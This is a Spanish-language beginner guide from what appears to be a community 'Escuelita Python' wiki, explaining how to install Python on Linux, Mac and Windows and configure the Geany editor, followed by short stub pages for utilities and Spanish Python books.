Buscá "python" en el menú inicio a ver si aparece algo. También chequeá en Archivos de programa y Archivos de programa (x86) (o sus equivalente en inglés) a ver si tienen dentro una carpeta "Python" o similar. Si ya lo tenés instalado podés saltar a la última sección para instalar un editor de código, si no, continuá con el siguiente punto.

Instalar Python

Linux

Lo más probable es que tengas Python instalado. Asegurate de chequearlo. Si no, podemos usar el package manager de tu distro para instalarlo desde la terminal. Por ejemplo en Ubuntu, o cualquier distro derivada de Debian, hay que hacer sudo apt install python3

Mac

Podemos hacer desde la consola brew install python. Si no tenés brew instalado podés seguir las instrucciones, en inglés, acá.

Windows

Si tenemos Windows vamos a la página oficial, hacemos click en el botón grande de Download, y vamos al final de la página donde se encuentra el listado de archivos y elegimos Windows x86-64 executable installer si tenemos un sistema de 64bits (que es lo más probable), si no elegimos la versión x86 . Una vez abierto el instalador, chequear la cajita Add Python to PATH. Además, elegir la opción Customize installation y seleccionar todas las Optional features. Si no pudiste, probá con este tuto (en inglés).

Instalar un editor de código

Si bien se puede usar un simple editor de texto como Gedit, Mousepad, o Notepad, es preferible tener un editor mejorado, preparado para programar, por más mínimo que sea.

En este sentido podés usar Geany que es bastante liviano. Desde Linux lo instalamos con el package manager, en Ubuntu sudo apt install geany. Desde Mac o Windows seguimos las instrucciones de su página web.

Una vez instalado debemos cambiar una configuración. Abrimos Geany y vamos al menú Build, a la opción Set Build Commands. Dentro de la ventana de configuración, vamos a cambiar el campo del final, Execute, que ya tiene algo adentro parecido a ./%e. Si estamos en Linux o Mac lo cambiamos por python %e o python3 %e (mirar la primera sección de esta página si no sabés cuál). Si estamos en Windows ponemos la ruta completa de python.exe más el %e al final, por ejemplo C:\Archivos de programa\Python\python.exe %e (chequear primero que esta sea una ubicación válida)

Para probar si anda, escribir en el editor print("Hola mundo"), apretar F5, guardar el script en donde sea, y debería abrirse una terminal que diga arriba del todo Hola mundo.

¡Y bienvenide al mundo pythonístico!

Escuelita Python

Utilidades

La idea de este documento es recolectar las utilidades, librerías, binarios, etc., que se comparten en el Lab, en sus espacios físicos y digitales, y sirvan para el desarrollo de aplicaciones python más creativas y eficientes.

Redes
Otros
Escuelita Python

Libros/tutos Python

La idea de esta página es recopilar libros o tutoriales de Python en español.

Para organizar mejor el contenido, cada ítem que se agregue debe contar con una pequeña reseña contando un poco qué contiene el libro/tuto así facilitamos la búsqueda de material idoneo para lo que cada une busque.


Libros